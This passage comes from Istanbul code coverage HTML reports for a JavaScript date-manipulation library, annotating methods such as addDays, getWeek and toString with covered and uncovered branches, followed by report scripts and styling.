	 * @param {Date}     Date object to compare. If no date to compare, new Date() ("now") is used.
	 * @return {Boolean} true if this date instance is greater than the date to compare to (or "now"), otherwise false.
	 */
	$P.isAfter = function (date) {
		return this.compareTo(date || <span class="branch-1 cbranch-no" title="branch not covered" >new Date())</span> === 1;
	};
&nbsp;
	/**
	 * Determines if this date occurs before the date to compare to.
	 * @param {Date}     Date object to compare. If no date to compare, new Date() ("now") is used.
	 * @return {Boolean} true if this date instance is less than the date to compare to (or "now").
	 */
	$P.isBefore = function (date) {
		return (this.compareTo(date || <span class="branch-1 cbranch-no" title="branch not covered" >new Date())</span> === -1);
	};
&nbsp;
	/**
	 * Determines if the current Date instance occurs today.
	 * @return {Boolean} true if this date instance is 'today', otherwise false.
	 */
	
	/**
	 * Determines if the current Date instance occurs on the same Date as the supplied 'date'. 
	 * If no 'date' to compare to is provided, the current Date instance is compared to 'today'. 
	 * @param {date}     Date object to compare. If no date to compare, the current Date ("now") is used.
	 * @return {Boolean} true if this Date instance occurs on the same Day as the supplied 'date'.
	 */
	$P.isToday = $P.isSameDay = function (date) {
		return this.clone().clearTime().equals((date || new Date()).clone().clearTime());
	};
	
	/**
	 * Adds the specified number of milliseconds to this instance. 
	 * @param {Number}   The number of milliseconds to add. The number can be positive or negative [Required]
	 * @return {Date}    this
	 */
	$P.addMilliseconds = function (value) {
		<span class="missing-if-branch" title="if path not taken" >I</span>if (!value) { <span class="cstat-no" title="statement not covered" >return this; </span>}
		this.setTime(this.getTime() + value * 1);
		return this;
	};
&nbsp;
	/**
	 * Adds the specified number of seconds to this instance. 
	 * @param {Number}   The number of seconds to add. The number can be positive or negative [Required]
	 * @return {Date}    this
	 */
	$P.addSeconds = function (value) {
		<span class="missing-if-branch" title="if path not taken" >I</span>if (!value) { <span class="cstat-no" title="statement not covered" >return this; </span>}
		return this.addMilliseconds(value * 1000);
	};
&nbsp;
	/**
	 * Adds the specified number of seconds to this instance. 
	 * @param {Number}   The number of seconds to add. The number can be positive or negative [Required]
	 * @return {Date}    this
	 */
	$P.addMinutes = function (value) {
		if (!value) { return this; }
		return this.addMilliseconds(value * 60000); // 60*1000
	};
&nbsp;
	/**
	 * Adds the specified number of hours to this instance. 
	 * @param {Number}   The number of hours to add. The number can be positive or negative [Required]
	 * @return {Date}    this
	 */
	$P.addHours = function (value) {
		<span class="missing-if-branch" title="if path not taken" >I</span>if (!value) { <span class="cstat-no" title="statement not covered" >return this; </span>}
		return this.addMilliseconds(value * 3600000); // 60*60*1000
	};
&nbsp;
	/**
	 * Adds the specified number of days to this instance. 
	 * @param {Number}   The number of days to add. The number can be positive or negative [Required]
	 * @return {Date}    this
	 */
	$P.addDays = function (value) {
		if (!value) { return this; }
		this.setDate(this.getDate() + value * 1);
		return this;
	};
&nbsp;
	/**
	 * Adds the specified number of weekdays (ie - not sat or sun) to this instance. 
	 * @param {Number}   The number of days to add. The number can be positive or negative [Required]
	 * @return {Date}    this
	 */
	$P.addWeekdays = function (value) {
		if (!value) { return this; }
		var day = this.getDay();
		var weeks = (Math.ceil(Math.abs(value)/7));
		if (day === 0 || day === 6) {
			if (value &gt; 0) {
				this.next().monday();
				this.addDays(-1);
				day = this.getDay();
			}
		}
&nbsp;
		if (value &lt; 0) {
			while (value &lt; 0) {
				this.addDays(-1);
				day = this.getDay();
				if (day !== 0 &amp;&amp; day !== 6) {
					value++;
				}
			}
			return this;
		} else if (value &gt; 5 || (6-day) &lt;= value) {
			value = value + (weeks * 2);
		}
&nbsp;
		return this.addDays(value);
	};
&nbsp;
	/**
	 * Adds the specified number of weeks to this instance. 
	 * @param {Number}   The number of weeks to add. The number can be positive or negative [Required]
	 * @return {Date}    this
	 */
	$P.addWeeks = function (value) {
		if (!value) { return this; }
		return this.addDays(value * 7);
	};
&nbsp;
&nbsp;
	/**
	 * Adds the specified number of months to this instance. 
	 * @param {Number}   The number of months to add. The number can be positive or negative [Required]
	 * @return {Date}    this
	 */
	$P.addMonths = function (value) {
		if (!value) { return this; }
		var n = this.getDate();
		this.setDate(1);
		this.setMonth(this.getMonth() + value * 1);
		this.setDate(Math.min(n, $D.getDaysInMonth(this.getFullYear(), this.getMonth())));
		return this;
	};
&nbsp;
	$P.addQuarters = function (value) {
		<span class="missing-if-branch" title="if path not taken" >I</span>if (!value) { <span class="cstat-no" title="statement not covered" >return this; </span>}
		// note this will take you to the same point in the quarter as you are now.
		// i.e. - if you are 15 days into the quarter you'll be 15 days into the resulting one.
		// bonus: this allows adding fractional quarters
		return this.addMonths(value * 3);
	};
&nbsp;
	/**
	 * Adds the specified number of years to this instance. 
	 * @param {Number}   The number of years to add. The number can be positive or negative [Required]
	 * @return {Date}    this
	 */
	$P.addYears = function (value) {
		if (!value) { return this; }
		return this.addMonths(value * 12);
	};
&nbsp;
	/**
	 * Adds (or subtracts) to the value of the years, months, weeks, days, hours, minutes, seconds, milliseconds of the date instance using given configuration object. Positive and Negative values allowed.
	 * Example
	&lt;pre&gt;&lt;code&gt;
	Date.today().add( { days: 1, months: 1 } )
	 
	new Date().add( { years: -1 } )
	&lt;/code&gt;&lt;/pre&gt; 
	 * @param {Object}   Configuration object containing attributes (months, days, etc.)
	 * @return {Date}    this
	 */
	$P.add = function (config) {
		if (typeof config === "number") {
			this._orient = config;
			return this;
		}
		
		var x = config;
&nbsp;
		<span class="missing-if-branch" title="if path not taken" >I</span>if (x.day) {
			// If we should be a different date than today (eg: for 'tomorrow -1d', etc).
			// Should only effect parsing, not direct usage (eg, Finish and FinishExact)
<span class="cstat-no" title="statement not covered" >			if ((x.day - this.getDate()) !== 0) {</span>
<span class="cstat-no" title="statement not covered" >				this.setDate(x.day);</span>
			}
		}
		if (x.milliseconds) {
			this.addMilliseconds(x.milliseconds);
		}
		if (x.seconds) {
			this.addSeconds(x.seconds);
		}
		if (x.minutes) {
			this.addMinutes(x.minutes);
		}
		if (x.hours) {
			this.addHours(x.hours);
		}
		if (x.weeks) {
			this.addWeeks(x.weeks);
		}
		if (x.months) {
			this.addMonths(x.months);
		}
		if (x.years) {
			this.addYears(x.years);
		}
		if (x.days) {
			this.addDays(x.days);
		}
		return this;
	};
	
	/**
	 * Get the week number. Week one (1) is the week which contains the first Thursday of the year. Monday is considered the first day of the week.
	 * The .getWeek() function does NOT convert the date to UTC. The local datetime is used. 
	 * Please use .getISOWeek() to get the week of the UTC converted date.
	 * @return {Number}  1 to 53
	 */
	$P.getWeek = function (utc) {
		// Create a copy of this date object  
		var self, target = new Date(this.valueOf());
		if (utc) {
			target.addMinutes(target.getTimezoneOffset());
			self = target.clone();
		} else {
			self = this;
		}
		// ISO week date weeks start on monday  
		// so correct the day number  
		var dayNr = (self.getDay() + 6) % 7;
		// ISO 8601 states that week 1 is the week  
		// with the first thursday of that year.  
		// Set the target date to the thursday in the target week  
		target.setDate(target.getDate() - dayNr + 3);
		// Store the millisecond value of the target date  
		var firstThursday = target.valueOf();
		// Set the target to the first thursday of the year  
		// First set the target to january first  
		target.setMonth(0, 1);
		// Not a thursday? Correct the date to the next thursday  
		<span class="missing-if-branch" title="else path not taken" >E</span>if (target.getDay() !== 4) {
			target.setMonth(0, 1 + ((4 - target.getDay()) + 7) % 7);
		}
		// The weeknumber is the number of weeks between the   
		// first thursday of the year and the thursday in the target week  
		return 1 + Math.ceil((firstThursday - target) / 604800000); // 604800000 = 7 * 24 * 3600 * 1000  
	};
	
	/**
	 * Get the ISO 8601 week number. Week one ("01") is the week which contains the first Thursday of the year. Monday is considered the first day of the week.
	 * The .getISOWeek() function does convert the date to it's UTC value. Please use .getWeek() to get the week of the local date.
	 * @return {String}  "01" to "53"
	 */
	$P.getISOWeek = function () {
		return p(this.getWeek(true));
	};
&nbsp;
	/**
	 * Moves the date to Monday of the week set. Week one (1) is the week which contains the first Thursday of the year.
	 * @param {Number}   A Number (1 to 53) that represents the week of the year.
	 * @return {Date}    this
	 */
	$P.setWeek = function (n) {
		if ((n - this.getWeek()) === 0) {
			<span class="missing-if-branch" title="if path not taken" >I</span>if (this.getDay() !== 1) {
<span class="cstat-no" title="statement not covered" >				return this.moveToDayOfWeek(1, (this.getDay() &gt; 1 ? -1 : 1));</span>
			} else {
				return this;
			}
		} else {
			return this.moveToDayOfWeek(1, (this.getDay() &gt; 1 ? -1 : 1)).addWeeks(n - this.getWeek());
		}
	};
&nbsp;
	$P.setQuarter = function (qtr) {
		var month = Math.abs(((qtr-1) * 3) + 1);
		return this.setMonth(month, 1);
	};
&nbsp;
	$P.getQuarter = function () {
		return Date.getQuarter(this);
	};
&nbsp;
	$P.getDaysLeftInQuarter = function () {
		return Date.getDaysLeftInQuarter(this);
	};
&nbsp;
	/**
	 * Moves the date to the next n'th occurrence of the dayOfWeek starting from the beginning of the month. The number (-1) is a magic number and will return the last occurrence of the dayOfWeek in the month.
	 * @param {Number}   The dayOfWeek to move to
	 * @param {Number}   The n'th occurrence to move to. Use (-1) to return the last occurrence in the month
	 * @return {Date}    this
	 */
	$P.moveToNthOccurrence = function (dayOfWeek, occurrence) {
		if (dayOfWeek === "Weekday") {
			if (occurrence &gt; 0) {
				this.moveToFirstDayOfMonth();
				<span class="missing-if-branch" title="else path not taken" >E</span>if (this.is().weekday()) {
					occurrence -= 1;
				}
			} else if (occurrence &lt; 0) {
				this.moveToLastDayOfMonth();
				if (this.is().weekday()) {
					occurrence += 1;
				}
			} else {
				return this;
			}
			return this.addWeekdays(occurrence);
		}
		var shift = 0;
		if (occurrence &gt; 0) {
			shift = occurrence - 1;
		}
		else <span class="missing-if-branch" title="else path not taken" >E</span>if (occurrence === -1) {
			this.moveToLastDayOfMonth();
			if (this.getDay() !== dayOfWeek) {
				this.moveToDayOfWeek(dayOfWeek, -1);
			}
			return this;
		}
		return this.moveToFirstDayOfMonth().addDays(-1).moveToDayOfWeek(dayOfWeek, +1).addWeeks(shift);
	};
&nbsp;
&nbsp;
	var moveToN = function (getFunc, addFunc, nVal) {
		return function (value, orient) {
			var diff = (value - this[getFunc]() + nVal * (orient || +1)) % nVal;
			return this[addFunc]((diff === 0) ? diff += nVal * (orient || <span class="branch-1 cbranch-no" title="branch not covered" >+1)</span> : diff);
		};
	};
	/**
	 * Move to the next or last dayOfWeek based on the orient value.
	 * @param {Number}   The dayOfWeek to move to
	 * @param {Number}   Forward (+1) or Back (-1). Defaults to +1. [Optional]
	 * @return {Date}    this
	 */
	$P.moveToDayOfWeek = moveToN("getDay", "addDays", 7);
	/**
	 * Move to the next or last month based on the orient value.
	 * @param {Number}   The month to move to. 0 = January, 11 = December
	 * @param {Number}   Forward (+1) or Back (-1). Defaults to +1. [Optional]
	 * @return {Date}    this
	 */
	$P.moveToMonth = moveToN("getMonth", "addMonths", 12);
	/**
	 * Get the Ordinate of the current day ("th", "st", "rd").
	 * @return {String} 
	 */
	$P.getOrdinate = function () {
		var num = this.getDate();
		return ord(num);
	};
	/**
	 * Get the Ordinal day (numeric day number) of the year, adjusted for leap year.
	 * @return {Number} 1 through 365 (366 in leap years)
	 */
	$P.getOrdinalNumber = function () {
		return Math.ceil((this.clone().clearTime() - new Date(this.getFullYear(), 0, 1)) / 86400000) + 1;
	};
&nbsp;
	/**
	 * Get the time zone abbreviation of the current date.
	 * @return {String} The abbreviated time zone name (e.g. "EST")
	 */
	$P.getTimezone = function () {
		return $D.getTimezoneAbbreviation(this.getUTCOffset(), this.isDaylightSavingTime());
	};
&nbsp;
	$P.setTimezoneOffset = function (offset) {
		var here = this.getTimezoneOffset(), there = Number(offset) * -6 / 10;
		return (there || there === 0) ? this.addMinutes(there - here) : <span class="branch-1 cbranch-no" title="branch not covered" >this;</span>
	};
&nbsp;
	$P.setTimezone = function (offset) {
		return this.setTimezoneOffset($D.getTimezoneOffset(offset));
	};
&nbsp;
	/**
	 * Indicates whether Daylight Saving Time is observed in the current time zone.
	 * @return {Boolean} true|false
	 */
	$P.hasDaylightSavingTime = function () {
		return (Date.today().set({month: 0, day: 1}).getTimezoneOffset() !== Date.today().set({month: 6, day: 1}).getTimezoneOffset());
	};
	
	/**
	 * Indicates whether this Date instance is within the Daylight Saving Time range for the current time zone.
	 * @return {Boolean} true|false
	 */
	$P.isDaylightSavingTime = function () {
		return Date.today().set({month: 0, day: 1}).getTimezoneOffset() !== this.getTimezoneOffset();
	};
&nbsp;
	/**
	 * Get the offset from UTC of the current date.
	 * @return {String} The 4-character offset string prefixed with + or - (e.g. "-0500")
	 */
	$P.getUTCOffset = function (offset) {
		var n = (offset || this.getTimezoneOffset()) * -10 / 6, r;
		if (n &lt; 0) {
			r = (n - 10000).toString();
			return r.charAt(0) + r.substr(2);
		} else {
			r = (n + 10000).toString();
			return "+" + r.substr(1);
		}
	};
&nbsp;
	/**
	 * Returns the number of milliseconds between this date and date.
	 * @param {Date} Defaults to now
	 * @return {Number} The diff in milliseconds
	 */
	$P.getElapsed = function (date) {
		return (date || <span class="branch-1 cbranch-no" title="branch not covered" >new Date())</span> - this;
	};
&nbsp;
	/**
	 * Set the value of year, month, day, hour, minute, second, millisecond of date instance using given configuration object.
	 * Example
	&lt;pre&gt;&lt;code&gt;
	Date.today().set( { day: 20, month: 1 } )
&nbsp;
	new Date().set( { millisecond: 0 } )
	&lt;/code&gt;&lt;/pre&gt;
	 * 
	 * @param {Object}   Configuration object containing attributes (month, day, etc.)
	 * @return {Date}    this
	 */
	$P.set = function (config) {
		config = validateConfigObject.call(this, config);
		var key;
		for (key in config) {
			<span class="missing-if-branch" title="else path not taken" >E</span>if (hasOwnProperty.call(config, key)) {
				var name = key.charAt(0).toUpperCase() + key.slice(1);
				var addFunc, getFunc;
				if (key !== "week" &amp;&amp; key !== "month" &amp;&amp; key !== "timezone" &amp;&amp; key !== "timezoneOffset") {
					name += "s";
				}
				addFunc = "add" + name;
				getFunc = "get" + name;
				if (key === "month") {
					addFunc = addFunc + "s";
				} else if (key === "year"){
					getFunc = "getFullYear";
				}
				if (key !== "day" &amp;&amp; key !== "timezone" &amp;&amp; key !== "timezoneOffset"  &amp;&amp; key !== "week" &amp;&amp;  key !== "hour") {
						this[addFunc](config[key] - this[getFunc]());
				} else if ( key === "timezone"|| key === "timezoneOffset" || key === "week" || key === "hour") {
					this["set"+name](config[key]);
				}
			}
		}
		// day has to go last because you can't validate the day without first knowing the month
		if (config.day) {
			this.addDays(config.day - this.getDate());
		}
		
		return this;
	};
&nbsp;
	/**
	 * Moves the date to the first day of the month.
	 * @return {Date}    this
	 */
	$P.moveToFirstDayOfMonth = function () {
		return this.set({ day: 1 });
	};
&nbsp;
	/**
	 * Moves the date to the last day of the month.
	 * @return {Date}    this
	 */
	$P.moveToLastDayOfMonth = function () {
		return this.set({ day: $D.getDaysInMonth(this.getFullYear(), this.getMonth())});
	};
&nbsp;
&nbsp;
	/**
	 * Converts the value of the current Date object to its equivalent string representation.
	 * Format Specifiers
	 * CUSTOM DATE AND TIME FORMAT STRINGS
	 * Format  Description                                                                  Example
	 * ------  ---------------------------------------------------------------------------  -----------------------
	 * s      The seconds of the minute between 0-59.                                      "0" to "59"
	 * ss     The seconds of the minute with leading zero if required.                     "00" to "59"
	 * 
	 * m      The minute of the hour between 0-59.                                         "0"  or "59"
	 * mm     The minute of the hour with leading zero if required.                        "00" or "59"
	 * 
	 * h      The hour of the day between 1-12.                                            "1"  to "12"
	 * hh     The hour of the day with leading zero if required.                           "01" to "12"
	 * 
	 * H      The hour of the day between 0-23.                                            "0"  to "23"
	 * HH     The hour of the day with leading zero if required.                           "00" to "23"
	 * 
	 * d      The day of the month between 1 and 31.                                       "1"  to "31"
	 * dd     The day of the month with leading zero if required.                          "01" to "31"
	 * ddd    Abbreviated day name. Date.CultureInfo.abbreviatedDayNames.                                "Mon" to "Sun" 
	 * dddd   The full day name. Date.CultureInfo.dayNames.                                              "Monday" to "Sunday"
	 * 
	 * M      The month of the year between 1-12.                                          "1" to "12"
	 * MM     The month of the year with leading zero if required.                         "01" to "12"
	 * MMM    Abbreviated month name. Date.CultureInfo.abbreviatedMonthNames.                            "Jan" to "Dec"
	 * MMMM   The full month name. Date.CultureInfo.monthNames.                                          "January" to "December"
	 *
	 * yy     The year as a two-digit number.                                              "99" or "08"
	 * yyyy   The full four digit year.                                                    "1999" or "2008"
	 * 
	 * t      Displays the first character of the A.M./P.M. designator.                    "A" or "P"
	 *		Date.CultureInfo.amDesignator or Date.CultureInfo.pmDesignator
	 * tt     Displays the A.M./P.M. designator.                                           "AM" or "PM"
	 *		Date.CultureInfo.amDesignator or Date.CultureInfo.pmDesignator
	 * 
	 * S      The ordinal suffix ("st, "nd", "rd" or "th") of the current day.            "st, "nd", "rd" or "th"
	 *
	 * STANDARD DATE AND TIME FORMAT STRINGS
	 * Format  Description                                                                  Example
	 *------  ---------------------------------------------------------------------------  -----------------------
	 * d      The CultureInfo shortDate Format Pattern                                     "M/d/yyyy"
	 * D      The CultureInfo longDate Format Pattern                                      "dddd, MMMM dd, yyyy"
	 * F      The CultureInfo fullDateTime Format Pattern                                  "dddd, MMMM dd, yyyy h:mm:ss tt"
	 * m      The CultureInfo monthDay Format Pattern                                      "MMMM dd"
	 * r      The CultureInfo rfc1123 Format Pattern                                       "ddd, dd MMM yyyy HH:mm:ss GMT"
	 * s      The CultureInfo sortableDateTime Format Pattern                              "yyyy-MM-ddTHH:mm:ss"
	 * t      The CultureInfo shortTime Format Pattern                                     "h:mm tt"
	 * T      The CultureInfo longTime Format Pattern                                      "h:mm:ss tt"
	 * u      The CultureInfo universalSortableDateTime Format Pattern                     "yyyy-MM-dd HH:mm:ssZ"
	 * y      The CultureInfo yearMonth Format Pattern                                     "MMMM, yyyy"
	 *
	 * @param {String}   A format string consisting of one or more format spcifiers [Optional].
	 * @return {String}  A string representation of the current Date object.
	 */
	
	var ord = function (n) {
		switch (n * 1) {
		case 1:
		case 21:
		case 31:
			return "st";
		case 2:
		case 22:
			return "nd";
		case 3:
		case 23:
			return "rd";
		default:
			return "th";
		}
	};
	var parseStandardFormats = function (format) {
		var y, c = Date.CultureInfo.formatPatterns;
		switch (format) {
			case "d":
				return this.toString(c.shortDate);
			case "D":
				return this.toString(c.longDate);
			case "F":
				return this.toString(c.fullDateTime);
			case "m":
				return this.toString(c.monthDay);
			case "r":
			case "R":
				y = this.clone().addMinutes(this.getTimezoneOffset());
				return y.toString(c.rfc1123) + " GMT";
			case "s":
				return this.toString(c.sortableDateTime);
			case "t":
				return this.toString(c.shortTime);
			case "T":
				return this.toString(c.longTime);
			case "u":
				y = this.clone().addMinutes(this.getTimezoneOffset());
				return y.toString(c.universalSortableDateTime);
			case "y":
				return this.toString(c.yearMonth);
			default:
				return false;
		}
	};
	var parseFormatStringsClosure = function (context) {
		return function (m) {
			if (m.charAt(0) === "\\") {
				return m.replace("\\", "");
			}
			switch (m) {
				case "hh":
					return p(context.getHours() &lt; 13 ? (context.getHours() === 0 ? 12 : <span class="branch-1 cbranch-no" title="branch not covered" >context.getHours())</span> : (<span class="branch-1 cbranch-no" title="branch not covered" >context.getHours() - 12)</span>);
				case "h":
					return context.getHours() &lt; 13 ? (context.getHours() === 0 ? 12 : <span class="branch-1 cbranch-no" title="branch not covered" >context.getHours())</span> : (<span class="branch-1 cbranch-no" title="branch not covered" >context.getHours() - 12)</span>;
				case "HH":
					return p(context.getHours());
				case "H":
					return context.getHours();
				case "mm":
					return p(context.getMinutes());
				case "m":
					return context.getMinutes();
				case "ss":
					return p(context.getSeconds());
				case "s":
					return context.getSeconds();
				case "yyyy":
					return p(context.getFullYear(), 4);
				case "yy":
					return p(context.getFullYear());
<span class="branch-10 cbranch-no" title="branch not covered" >				case "y":</span>
<span class="cstat-no" title="statement not covered" >					return context.getFullYear();</span>
<span class="branch-11 cbranch-no" title="branch not covered" >				case "E":</span>
				case "dddd":
					return Date.CultureInfo.dayNames[context.getDay()];
				case "ddd":
					return Date.CultureInfo.abbreviatedDayNames[context.getDay()];
				case "dd":
					return p(context.getDate());
				case "d":
					return context.getDate();
				case "MMMM":
					return Date.CultureInfo.monthNames[context.getMonth()];
				case "MMM":
					return Date.CultureInfo.abbreviatedMonthNames[context.getMonth()];
				case "MM":
					return p((context.getMonth() + 1));
				case "M":
					return context.getMonth() + 1;
				case "t":
					return context.getHours() &lt; 12 ? Date.CultureInfo.amDesignator.substring(0, 1) : <span class="branch-1 cbranch-no" title="branch not covered" >Date.CultureInfo.pmDesignator.substring(0, 1);</span>
				case "tt":
					return context.getHours() &lt; 12 ? Date.CultureInfo.amDesignator : <span class="branch-1 cbranch-no" title="branch not covered" >Date.CultureInfo.pmDesignator;</span>
				case "S":
					return ord(context.getDate());
				case "W":
					return context.getWeek();
				case "WW":
					return context.getISOWeek();
				case "Q":
					return "Q" + context.getQuarter();
				case "q":
					return String(context.getQuarter());
<span class="branch-27 cbranch-no" title="branch not covered" >				case "z":</span>
<span class="cstat-no" title="statement not covered" >					return context.getTimezone();</span>
<span class="branch-28 cbranch-no" title="branch not covered" >				case "Z":</span>
<span class="branch-29 cbranch-no" title="branch not covered" >				case "X":</span>
<span class="cstat-no" title="statement not covered" >					return Date.getTimezoneOffset(context.getTimezone());</span>
<span class="branch-30 cbranch-no" title="branch not covered" >				case "ZZ": // Timezone offset in seconds</span>
<span class="cstat-no" title="statement not covered" >					return context.getTimezoneOffset() * -60;</span>
<span class="branch-31 cbranch-no" title="branch not covered" >				case "u":</span>
<span class="cstat-no" title="statement not covered" >					return context.getDay();</span>
<span class="branch-32 cbranch-no" title="branch not covered" >				case "L":</span>
<span class="cstat-no" title="statement not covered" >					return ($D.isLeapYear(context.getFullYear())) ? 1 : 0;</span>
<span class="branch-33 cbranch-no" title="branch not covered" >				case "B":</span>
					// Swatch Internet Time (.beats)
<span class="cstat-no" title="statement not covered" >					return "@"+((context.getUTCSeconds() + (context.getUTCMinutes()*60) + ((context.getUTCHours()+1)*3600))/86.4);</span>
<span class="branch-34 cbranch-no" title="branch not covered" >				default:</span>
<span class="cstat-no" title="statement not covered" >					return m;</span>
			}
		};
	};
	$P.toString = function (format, ignoreStandards) {
		
		// Standard Date and Time Format Strings. Formats pulled from CultureInfo file and
		// may vary by culture. 
		if (!ignoreStandards &amp;&amp; format &amp;&amp; format.length === 1) {
			output = parseStandardFormats.call(this, format);
			if (output) {
				return output;
			}
		}
		var parseFormatStrings = parseFormatStringsClosure(this);
		return format ? format.replace(/((\\)?(dd?d?d?|MM?M?M?|yy?y?y?|hh?|HH?|mm?|ss?|tt?|S|q|Q|WW?W?W?)(?![^\[]*\]))/g, parseFormatStrings).replace(/\[|\]/g, "") : this._toString();
	};
&nbsp;
}());</pre></td></tr>
</table></pre>

</div>
<div class="footer">
    <div class="meta">Generated by <a href="http://istanbul-js.org/" target="_blank">istanbul</a> at Sun Nov 16 2014 12:08:33 GMT-0800 (PST)</div>
</div>

<script src="../prettify.js"></script>

<script src="https://yui-s.yahooapis.com/3.6.0/build/yui/yui-min.js"></script>
<script>

    YUI().use('datatable', function (Y) {

        var formatters = {
          pct: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              try {
                  return o.value.toFixed(2) + '%';
              } catch (ex) { return o.value + '%'; }
          },
          html: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.record.get(o.column.key + '_html');
          }
        },
          defaultFormatter = function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.value;
          };

        function getColumns(theadNode) {
            var colNodes = theadNode.all('tr th'),
                cols = [],
                col;
            colNodes.each(function (colNode) {
                col = {
                    key: colNode.getAttribute('data-col'),
                    label: colNode.get('innerHTML') || ' ',
                    sortable: !colNode.getAttribute('data-nosort'),
                    className: colNode.getAttribute('class'),
                    type: colNode.getAttribute('data-type'),
                    allowHTML: colNode.getAttribute('data-html') === 'true' || colNode.getAttribute('data-fmt') === 'html'
                };
                col.formatter = formatters[colNode.getAttribute('data-fmt')] || defaultFormatter;
                cols.push(col);
            });
            return cols;
        }

        function getRowData(trNode, cols) {
            var tdNodes = trNode.all('td'),
                    i,
                    row = { classes: {} },
                    node,
                    name;
            for (i = 0; i < cols.length; i += 1) {
                name = cols[i].key;
                node = tdNodes.item(i);
                row[name] = node.getAttribute('data-value') || node.get('innerHTML');
                row[name + '_html'] = node.get('innerHTML');
                row.classes[name] = node.getAttribute('class');
                //Y.log('Name: ' + name + '; Value: ' + row[name]);
                if (cols[i].type === 'number') { row[name] = row[name] * 1; }
            }
            //Y.log(row);
            return row;
        }

        function getData(tbodyNode, cols) {
            var data = [];
            tbodyNode.all('tr').each(function (trNode) {
                data.push(getRowData(trNode, cols));
            });
            return data;
        }

        function replaceTable(node) {
            if (!node) { return; }
            var cols = getColumns(node.one('thead')),
                data = getData(node.one('tbody'), cols),
                table,
                parent = node.get('parentNode');

            table = new Y.DataTable({
                columns: cols,
                data: data,
                sortBy: 'file'
            });
            parent.set('innerHTML', '');
            table.render(parent);
        }

        Y.on('domready', function () {
            replaceTable(Y.one('div.coverage-summary table'));
            if (typeof prettyPrint === 'function') {
                prettyPrint();
            }
        });
    });
</script>
</body>
</html>
parsing_grammar.js.html000066600000106237152444006550011240 0ustar00<!doctype html>
<html lang="en">
<head>
    <title>Code coverage report for core/parsing_grammar.js</title>
    <meta charset="utf-8">

    <link rel="stylesheet" href="../prettify.css">

    <style>
        body, html {
            margin:0; padding: 0;
        }
        body {
            font-family: Helvetica Neue, Helvetica,Arial;
            font-size: 10pt;
        }
        div.header, div.footer {
            background: #eee;
            padding: 1em;
        }
        div.header {
            z-index: 100;
            position: fixed;
            top: 0;
            border-bottom: 1px solid #666;
            width: 100%;
        }
        div.footer {
            border-top: 1px solid #666;
        }
        div.body {
            margin-top: 10em;
        }
        div.meta {
            font-size: 90%;
            text-align: center;
        }
        h1, h2, h3 {
            font-weight: normal;
        }
        h1 {
            font-size: 12pt;
        }
        h2 {
            font-size: 10pt;
        }
        pre {
            font-family: Consolas, Menlo, Monaco, monospace;
            margin: 0;
            padding: 0;
            line-height: 14px;
            font-size: 14px;
            -moz-tab-size: 2;
            -o-tab-size:  2;
            tab-size: 2;
        }

        div.path { font-size: 110%; }
        div.path a:link, div.path a:visited { color: #000; }
        table.coverage { border-collapse: collapse; margin:0; padding: 0 }

        table.coverage td {
            margin: 0;
            padding: 0;
            color: #111;
            vertical-align: top;
        }
        table.coverage td.line-count {
            width: 50px;
            text-align: right;
            padding-right: 5px;
        }
        table.coverage td.line-coverage {
            color: #777 !important;
            text-align: right;
            border-left: 1px solid #666;
            border-right: 1px solid #666;
        }

        table.coverage td.text {
        }

        table.coverage td span.cline-any {
            display: inline-block;
            padding: 0 5px;
            width: 40px;
        }
        table.coverage td span.cline-neutral {
            background: #eee;
        }
        table.coverage td span.cline-yes {
            background: #b5d592;
            color: #999;
        }
        table.coverage td span.cline-no {
            background: #fc8c84;
        }

        .cstat-yes { color: #111; }
        .cstat-no { background: #fc8c84; color: #111; }
        .fstat-no { background: #ffc520; color: #111 !important; }
        .cbranch-no { background:  yellow !important; color: #111; }

        .cstat-skip { background: #ddd; color: #111; }
        .fstat-skip { background: #ddd; color: #111 !important; }
        .cbranch-skip { background: #ddd !important; color: #111; }

        .missing-if-branch {
            display: inline-block;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: black;
            color: yellow;
        }

        .skip-if-branch {
            display: none;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: #ccc;
            color: white;
        }

        .missing-if-branch .typ, .skip-if-branch .typ {
            color: inherit !important;
        }

        .entity, .metric { font-weight: bold; }
        .metric { display: inline-block; border: 1px solid #333; padding: 0.3em; background: white; }
        .metric small { font-size: 80%; font-weight: normal; color: #666; }

        div.coverage-summary table { border-collapse: collapse; margin: 3em; font-size: 110%; }
        div.coverage-summary td, div.coverage-summary table  th { margin: 0; padding: 0.25em 1em; border-top: 1px solid #666; border-bottom: 1px solid #666; }
        div.coverage-summary th { text-align: left; border: 1px solid #666; background: #eee; font-weight: normal; }
        div.coverage-summary th.file { border-right: none !important; }
        div.coverage-summary th.pic { border-left: none !important; text-align: right; }
        div.coverage-summary th.pct { border-right: none !important; }
        div.coverage-summary th.abs { border-left: none !important; text-align: right; }
        div.coverage-summary td.pct { text-align: right; border-left: 1px solid #666; }
        div.coverage-summary td.abs { text-align: right; font-size: 90%; color: #444; border-right: 1px solid #666; }
        div.coverage-summary td.file { text-align: right; border-left: 1px solid #666; white-space: nowrap;  }
        div.coverage-summary td.pic { min-width: 120px !important;  }
        div.coverage-summary a:link { text-decoration: none; color: #000; }
        div.coverage-summary a:visited { text-decoration: none; color: #333; }
        div.coverage-summary a:hover { text-decoration: underline; }
        div.coverage-summary tfoot td { border-top: 1px solid #666; }

        div.coverage-summary .yui3-datatable-sort-indicator, div.coverage-summary .dummy-sort-indicator {
            height: 10px;
            width: 7px;
            display: inline-block;
            margin-left: 0.5em;
        }
        div.coverage-summary .yui3-datatable-sort-indicator {
            background: url("https://yui-s.yahooapis.com/3.6.0/build/datatable-sort/assets/skins/sam/sort-arrow-sprite.png") no-repeat scroll 0 0 transparent;
        }
        div.coverage-summary .yui3-datatable-sorted .yui3-datatable-sort-indicator {
            background-position: 0 -20px;
        }
        div.coverage-summary .yui3-datatable-sorted-desc .yui3-datatable-sort-indicator {
            background-position: 0 -10px;
        }

        .high { background: #b5d592 !important; }
        .medium { background: #ffe87c !important; }
        .low { background: #fc8c84 !important; }

        span.cover-fill, span.cover-empty {
            display:inline-block;
            border:1px solid #444;
            background: white;
            height: 12px;
        }
        span.cover-fill {
            background: #ccc;
            border-right: 1px solid #444;
        }
        span.cover-empty {
            background: white;
            border-left: none;
        }
        span.cover-full {
            border-right: none !important;
        }
        pre.prettyprint {
            border: none !important;
            padding: 0 !important;
            margin: 0 !important;
        }
        .com { color: #999 !important; }
